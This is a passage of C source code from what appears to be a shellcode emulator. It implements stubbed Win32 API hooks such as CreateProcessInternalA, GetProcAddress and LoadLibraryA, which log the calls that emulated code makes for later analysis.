\"lpTitle\"          , (uint32_t)(uintptr_t)si->lpTitle);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwX\"              , si->dwX);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwY\"              , si->dwY);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwXSize\"          , si->dwXSize);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwYSize\"          , si->dwYSize);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwXCountChars\"    , si->dwXCountChars);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwYCountChars\"    , si->dwYCountChars);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwFillAttribute\"  , si->dwFillAttribute);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"dwFlags\"          , si->dwFlags);\n\t\temu_profile_argument_add_int(env->profile, \"WORD\",   \"wShowWindow\"      , si->wShowWindow);\n\t\temu_profile_argument_add_int(env->profile, \"WORD\",   \"cbReserved2\"      , si->cbReserved2);\n\t\temu_profile_argument_add_int(env->profile, \"LPBYTE\", \"lpReserved2\"      , (uint32_t)(uintptr_t)si->lpReserved2);\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hStdInput\"        , si->hStdInput);                                            \n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hStdOutput\"       , si->hStdOutput);                                           \n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hStdError\"        , si->hStdError);                                           \n\t\temu_profile_argument_struct_end(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"PROCESS_INFORMATION\", \"pProcInfo\",0x52f74c);\n\t\temu_profile_argument_struct_start(env->profile, \"\", \"\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hProcess\"     ,pi->dwProcessId);\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hThread\"          ,pi->dwThreadId);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwProcessId\"       ,pi->hProcess);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwThreadId\"        ,pi->hThread);\n\t\temu_profile_argument_struct_end(env->profile);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n\t}\n\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\n\temu_string_free(imagename);\n\temu_string_free(command);\n\tfree(pi);\n\tfree(si);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_CreateProcessInternalA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tstruct emu_memory *m = emu_memory_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/*\n * DWORD WINAPI CreateProcessInternal(  \n * __in         DWORD unknown1,                              // always (?) NULL  \n * __in_opt     LPCTSTR lpApplicationName,  \n * __inout_opt  LPTSTR lpCommandLine,  \n * __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,  \n * __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,  \n * __in         BOOL bInheritHandles,  \n * __in         DWORD dwCreationFlags,  \n * __in_opt     LPVOID lpEnvironment,  \n * __in_opt     LPCTSTR lpCurrentDirectory,  \n * __in         LPSTARTUPINFO lpStartupInfo,  \n * __out        LPPROCESS_INFORMATION lpProcessInformation,  \n * __in         DWORD unknown2                               // always (?) NULL\n * ;\n */\n\tuint32_t unknown1;\n\tuint32_t lpApplicationName;\n\tuint32_t lpCommandLine;\n\tuint32_t lpProcessAttributes;\n\tuint32_t lpThreadAttributes;\n\tuint32_t bInheritHandles;\n\tuint32_t dwCreationFlags;\n\tuint32_t lpEnvironment;\n\tuint32_t lpCurrentDirectory;\n\tuint32_t lpStartupInfo;\n\tuint32_t lpProcessInformation;\n\tuint32_t unknown2;\n\n\tPOP_DWORD(c, &unknown1);\n\tPOP_DWORD(c, &lpApplicationName);\n\tPOP_DWORD(c, &lpCommandLine);\n\tPOP_DWORD(c, &lpProcessAttributes);\n\tPOP_DWORD(c, &lpThreadAttributes);\n\tPOP_DWORD(c, &bInheritHandles);\n\tPOP_DWORD(c, &dwCreationFlags);\n\tPOP_DWORD(c, &lpEnvironment);\n\tPOP_DWORD(c, &lpCurrentDirectory);\n\tPOP_DWORD(c, &lpStartupInfo);\n\tPOP_DWORD(c, &lpProcessInformation);\n\tPOP_DWORD(c, &unknown2);\n\n\tstruct emu_string *CommandLine = emu_string_new();\n\tif( lpCommandLine !=0 )\n\t\temu_memory_read_string(m, lpCommandLine, CommandLine, 255);\n\n\tuint32_t returnvalue = 0;\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"CreateProcessInternal\");\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"unknown1\", unknown1);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpApplicationName\", lpApplicationName);\n\t\temu_profile_argument_add_none(env->profile);\n\t\t\n\t\temu_profile_argument_add_ptr(env->profile, \"LPTSTR\", \"lpCommandLine\", lpCommandLine);\n\t\tif( lpCommandLine != 0 )\n\t\t\temu_profile_argument_add_string(env->profile, \"\",\"\", emu_string_char(CommandLine));\n\t\telse\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\t\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"lpProcessAttributes\", lpProcessAttributes);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"lpThreadAttributes\", lpThreadAttributes);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_int(env->profile, \"BOOL\", \"bInheritHandles\", bInheritHandles);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwCreationFlags\", dwCreationFlags);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPVOID\", \"lpEnvironment\", lpEnvironment);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpCurrentDirectory\", lpCurrentDirectory);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSTARTUPINFO\", \"lpStartupInfo\", lpStartupInfo);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"PROCESS_INFORMATION\", \"lpProcessInformation\",0x52f74c);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"unknown2\", unknown2);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD WINAPI\", returnvalue);\n\t}\n\n\temu_string_free(CommandLine);\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 1;\n}\n\n\nint32_t\tenv_w32_hook_DeleteFileA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nBOOL DeleteFile(\n  LPCTSTR lpFileName\n);\n\n*/\n\tuint32_t filename;\n\tPOP_DWORD(c, &filename);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"DeleteFile\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpFileName\", filename);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\n/*\nVOID WINAPI ExitProcess(\n  UINT uExitCode\n);\n*/\n\n\tuint32_t exitcode;\n\tPOP_DWORD(c, &exitcode);\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t  exitcode);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"ExitProcess\");\n\t\temu_profile_argument_add_int(env->profile, \"UINT\", \"uExitCode\", exitcode);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"void\", returnvalue);\n\t}\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\n/*\nVOID ExitThread(\n  DWORD dwExitCode\n);\n*/\n\n\tuint32_t exitcode;\n\tPOP_DWORD(c, &exitcode);\n\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t  exitcode);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"ExitThread\");\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwExitCode\", exitcode);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"void\", returnvalue);\n\t}\n\n\t\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetFileSize(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tstruct emu_memory *mem = emu_memory_get(env->emu);\n\tuint32_t eip_save;\n\tuint32_t hFile;\n\tuint32_t lpFileSizeHigh;\n\n/*\n * DWORD WINAPI GetFileSize(\n *   __in       HANDLE hFile,\n *   __out_opt  LPDWORD lpFileSizeHigh\n * );\n */\n\tPOP_DWORD(c, &eip_save);\n\tPOP_DWORD(c, &hFile);\n\tPOP_DWORD(c, &lpFileSizeHigh);\n\t\n\tuint32_t filesize = 4711;\n\tif( lpFileSizeHigh != 0 )\n\t\temu_memory_write_dword(mem, lpFileSizeHigh, 0);\n\n\temu_cpu_reg32_set(c, eax, filesize);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"GetFileSize\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hFile\", hFile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPDWORD\", \"lpFileSizeHigh\", lpFileSizeHigh);\n\t\tif( lpFileSizeHigh != 0 )\n\t\t\temu_profile_argument_add_int(env->profile, \"\", \"\", 0);\n\t\telse\n\t\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD WINAPI\", c->reg[eax]);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetModuleHandleA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tuint32_t eip_save;\n\tuint32_t filename;\n\n/*\n * HMODULE WINAPI GetModuleHandle( __in_opt  LPCTSTR lpModuleName);\n */\n\n\tPOP_DWORD(c, &eip_save);\n\tPOP_DWORD(c, &filename);\n\n\tstruct emu_memory *mem = emu_memory_get(env->emu);\n\tstruct emu_string *s_filename = emu_string_new();\n\temu_memory_read_string(mem, filename, s_filename, 256);\n\n\tchar *dllname = emu_string_char(s_filename);\n\n\n\tint i=0;\n\tint found_dll = 0;\n\temu_cpu_reg32_set(c, eax, 0); //default = fail\n\n\tfor( i=0; env->env.win->loaded_dlls[i] != NULL; i++ )\n\t{\n\t\tif( strncasecmp(env->env.win->loaded_dlls[i]->dllname, dllname, strlen(env->env.win->loaded_dlls[i]->dllname)) == 0 )\n\t\t{\n\t\t\temu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\tfound_dll = 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif( found_dll == 0 )\n\t{\n\t\tif( emu_env_w32_load_dll(env->env.win, dllname) == 0 )\n\t\t{\n\t\t\temu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\tfound_dll = 1;\n\t\t}\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"GetModuleHandleA\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCSTR\", \"lpModuleName\", filename);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(s_filename));\n\n\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"HMODULE WINAPI\", c->reg[eax]);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\temu_string_free(s_filename);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetVersion(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n/*\nDWORD WINAPI GetVersion(void);\n*/\n\t\n\tuint32_t version = 0xa280105;\n\temu_cpu_reg32_set(c, eax, version);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"GetVersion\");\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD WINAPI\", version);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetProcAddress(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tstruct emu_memory *mem = emu_memory_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/* \nFFARPROC WINAPI GetProcAddress(\n  HMODULE hModule,\n  LPCSTR lpProcName\n);\n*/\n\n\t\n\n\tuint32_t module;// = emu_cpu_reg32_get(c, esp);\n\tPOP_DWORD(c, &module);\n//\tprintf(\"module ptr is %08x\\n\", module);\n\n\tuint32_t p_procname;\n\tPOP_DWORD(c, &p_procname);\n\n\t\n\n\tstruct emu_string *procname = emu_string_new();\n\tif( p_procname >= 0x1000 )\n\t\temu_memory_read_string(mem, p_procname, procname, 256);\n\n\tlogDebug(env->emu, \"procname name is '%s'\\n\", emu_string_char(procname));\n\n\tint i;\n\tfor ( i=0; env->env.win->loaded_dlls[i] != NULL; i++ )\n\t{\n\t\tif( env->env.win->loaded_dlls[i]->baseaddr == module )\n\t\t{\n\t\t\tlogDebug(env->emu, \"dll is %s %08x %08x \\n\", \n\t\t\t\t   env->env.win->loaded_dlls[i]->dllname, \n\t\t\t\t   module, \n\t\t\t\t   env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\tstruct emu_env_w32_dll *dll = env->env.win->loaded_dlls[i];\n\t\t\tif( emu_string_char(procname) != NULL && p_procname >= 0x1000 )\n\t\t\t{ /* 2nd argument is a string */\n\t\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(dll->exports_by_fnname, (void *)emu_string_char(procname));\n\t\t\t\tif ( ehi != NULL )\n\t\t\t\t{\n\t\t\t\t\tstruct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;\n\t\t\t\t\tlogDebug(env->emu, \"found %s at addr %08x\\n\",emu_string_char(procname), dll->baseaddr + hook->hook.win->virtualaddr );\n\t\t\t\t\temu_cpu_reg32_set(c, eax, dll->baseaddr + hook->hook.win->virtualaddr);\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{ /* 2nd argument is ordinal */\n\t\t\t\tint j;\n\t\t\t\tfor( j=0;dll->exportx[j].fnname != NULL; j++ )\n\t\t\t\t{\n\t\t\t\t\tstruct emu_env_w32_dll_export *ex = &dll->exportx[j];\n\t\t\t\t\tif( ex->ordinal == p_procname )\n\t\t\t\t\t{\n\t\t\t\t\t\tstruct emu_env_hook *hook = &dll->hooks[j];\n//\t\t\t\t\t\temu_string_append_char(procname, ex->fnname);\n\t\t\t\t\t\tlogDebug(env->emu, \"found %s for ordinal %i at addr %08x\\n\",ex->fnname, p_procname, dll->baseaddr + hook->hook.win->virtualaddr );\n\t\t\t\t\t\temu_cpu_reg32_set(c, eax, dll->baseaddr + hook->hook.win->virtualaddr);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"GetProcAddress\");\n\t\temu_profile_argument_add_ptr(env->profile, \"HMODULE\", \"hModule\", module);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCSTR\", \"lpProcName\", p_procname);\n\t\tif( emu_string_char(procname) != NULL )\n\t\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(procname));\n\t\telse\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"FARPROC WINAPI\", c->reg[eax]);\n\t\temu_profile_argument_add_none(env->profile);\n\t}\n\n\temu_string_free(procname);\n\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetSystemDirectoryA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nUINT GetSystemDirectory(\n  LPTSTR lpBuffer,\n  UINT uSize\n);\n*/\n\n\n\tuint32_t p_buffer;\n\tPOP_DWORD(c, &p_buffer);\n\t\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\n\tstatic char *sysdir = \"c:\\\\WINDOWS\\\\system32\";\n\temu_memory_write_block(emu_memory_get(env->emu), p_buffer, sysdir, 20);\n\temu_cpu_reg32_set(c, eax, 19);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"GetSystemDirectory\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPTSTR\", \"lpBuffer\", p_buffer);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", sysdir);\n\t\temu_profile_argument_add_int(env->profile, \"UINT\", \"uSize\", size);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"UINT\", 19);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetTempPathA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nDWORD WINAPI GetTempPath(\n  __in   DWORD nBufferLength,\n  __out  LPTSTR lpBuffer\n);\n*/\n\n\tuint32_t bufferlength;\n\tPOP_DWORD(c, &bufferlength);\n\n\tuint32_t p_buffer;\n\tPOP_DWORD(c, &p_buffer);\n\n\tstatic char *path = \"c:\\\\tmp\\\\\";\n\n\temu_memory_write_block(emu_memory_get(env->emu), p_buffer, path, 8);\n\temu_cpu_reg32_set(c, eax, 7);\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"GetTempPathA\");\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"nBufferLength\", bufferlength);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPTSTR\", \"lpBuffer\", p_buffer);\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", path);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"DWORD\", 7);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t env_w32_hook_GetTickCount(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\tuint32_t tickcount = rand();\n\n\temu_cpu_reg32_set(c, eax, tickcount);\n\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"GetTickCount\");\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", tickcount);\n\t}\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook__hwrite(struct emu_env *env, struct emu_env_hook *hook)\n{\n\treturn env_w32_hook__lwrite(env, hook);\n}\n\nint32_t\tenv_w32_hook__lcreat(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nLONG _lcreat(\n  LPCSTR lpszFileName,\n  int fnAttribute\n);\n*/\n\tuint32_t p_filename;\n\tPOP_DWORD(c, &p_filename);\n\tstruct emu_string *filename = emu_string_new();\n\temu_memory_read_string(emu_memory_get(env->emu), p_filename, filename, 256);\n\n\tuint32_t fnAttribute;\n\tPOP_DWORD(c, &fnAttribute);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(filename),\n\t\t\t\t\t\t\t\t\t\t\t   fnAttribute);\n\t}else\n\t{\n\t\treturnvalue\t= 4711;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"_lcreat\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpFileName\", p_filename);\n\t\temu_profile_argument_add_string(env->profile,\"\",  \"\",  emu_string_char(filename));\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"fnAttribute\", fnAttribute);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"LONG\", returnvalue);\n\t}\n\n\temu_string_free(filename);\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook__lclose(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nHFILE _lclose(\n    HFILE hFile\t// handle to file to close\n   ); \n*/\n\tuint32_t file;\n\tPOP_DWORD(c, &file);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   file);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"_lclose\");\n\t\temu_profile_argument_add_int(env->profile, \"HFile\", \"hFile\", file);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"HFILE\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook__lwrite(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nLONG _lwrite(\n  HFile hFile,\n  LPCSTR lpBuffer,\n  UINT cbWrite\n);\n*/\n\tuint32_t file;\n\tPOP_DWORD(c, &file);\n\n\tuint32_t p_buffer;\n\tPOP_DWORD(c, &p_buffer);\n\n\tuint32_t size;\n\tPOP_DWORD(c, &size);\n\tuint32_t returnvalue;\n\tunsigned char *buffer = NULL;\n\n\tif( size < 1*1024*1024 )\n\t{\n\t\tbuffer = malloc(size);\n\t\temu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, size);\n\t\n\t\tif ( hook->hook.win->userhook != NULL )\n\t\t{\n\t\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t\t   file,\n\t\t\t\t\t\t\t\t\t\t\t\t   buffer,\n\t\t\t\t\t\t\t\t\t\t\t\t   size);\n\t\t}else\n\t\t{\n\t\t\treturnvalue\t= size;\n\t\t}\n\t}else\n\t{\n\t\treturnvalue = -1;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"_lwrite\");\n\t\temu_profile_argument_add_int(env->profile, \"HFile\", \"hFile\", file);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCSTR\", \"lpBuffer\", p_buffer);\n\t\tif( size < 1*1024*1024 )\n\t\t\temu_profile_argument_add_bytea(env->profile, \"\", \"\", buffer, size);\n\t\telse\n\t\t\temu_profile_argument_add_bytea(env->profile, \"\", \"\", buffer, 0);\n\t\temu_profile_argument_add_int(env->profile, \"UINT\", \"cbWrite\", size);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"LONG\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\tif( buffer )\n\t\tfree(buffer);\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_LoadLibrayA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\n\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\tPOP_DWORD(c, &eip_save);\n\n/* HMODULE WINAPI LoadLibrary(LPCTSTR lpFileName); */\n\n\n\tuint32_t dllname_ptr;// = emu_cpu_reg32_get(c, esp);\n    POP_DWORD(c, &dllname_ptr);\n    \t\n\n    struct emu_string *dllstr = emu_string_new();\n    struct emu_memory *mem = emu_memory_get(env->emu);\n    emu_memory_read_string(mem, dllname_ptr, dllstr, 256);\n\n\n\tchar *dllname = emu_string_char(dllstr);\n\t\n\n\tint i=0;\n\tint found_dll = 0;\n\tif ( dllname != NULL )\n\t{\n\t\tfor (i=0; env->env.win->loaded_dlls[i] != NULL; i++)\n\t\t{\n\t\t\tif (strncasecmp(env->env.win->loaded_dlls[i]->dllname, dllname, strlen(env->env.win->loaded_dlls[i]->dllname)) == 0)\n\t\t\t{\n\t\t\t\tlogDebug(env->emu, \"found dll %s, baseaddr is %08x \\n\",env->env.win->loaded_dlls[i]->dllname,env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\t\temu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\t\tfound_dll = 1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (found_dll == 0)\n\t\t{\n\t\t\tif (emu_env_w32_load_dll(env->env.win, dllname) == 0)\n\t\t\t{\n\t\t\t\temu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr);\n\t\t\t\tfound_dll = 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlogDebug(env->emu, \"error could not find %s\\n\", dllname);\n\t\t\t\temu_cpu_reg32_set(c, eax, 0x0);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"LoadLibraryA\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpFileName\", dllname_ptr);\n\t\tif ( dllname != NULL )\n\t\t\temu_profile_argument_add_string(env->profile, \"\", \"\", dllname);\n\t\telse\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\tif (found_dll == 1)\n\t\t{\n\t\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"HMODULE\", c->reg[eax]);\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\t}else\n\t\t{\n\t\t\temu_profile_function_returnvalue_ptr_set(env->profile, \"HMODULE\", 0x0);\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\t}\n\t}\n\n\temu_string_free(dllstr);\n\n\temu_cpu_eip_set(c, 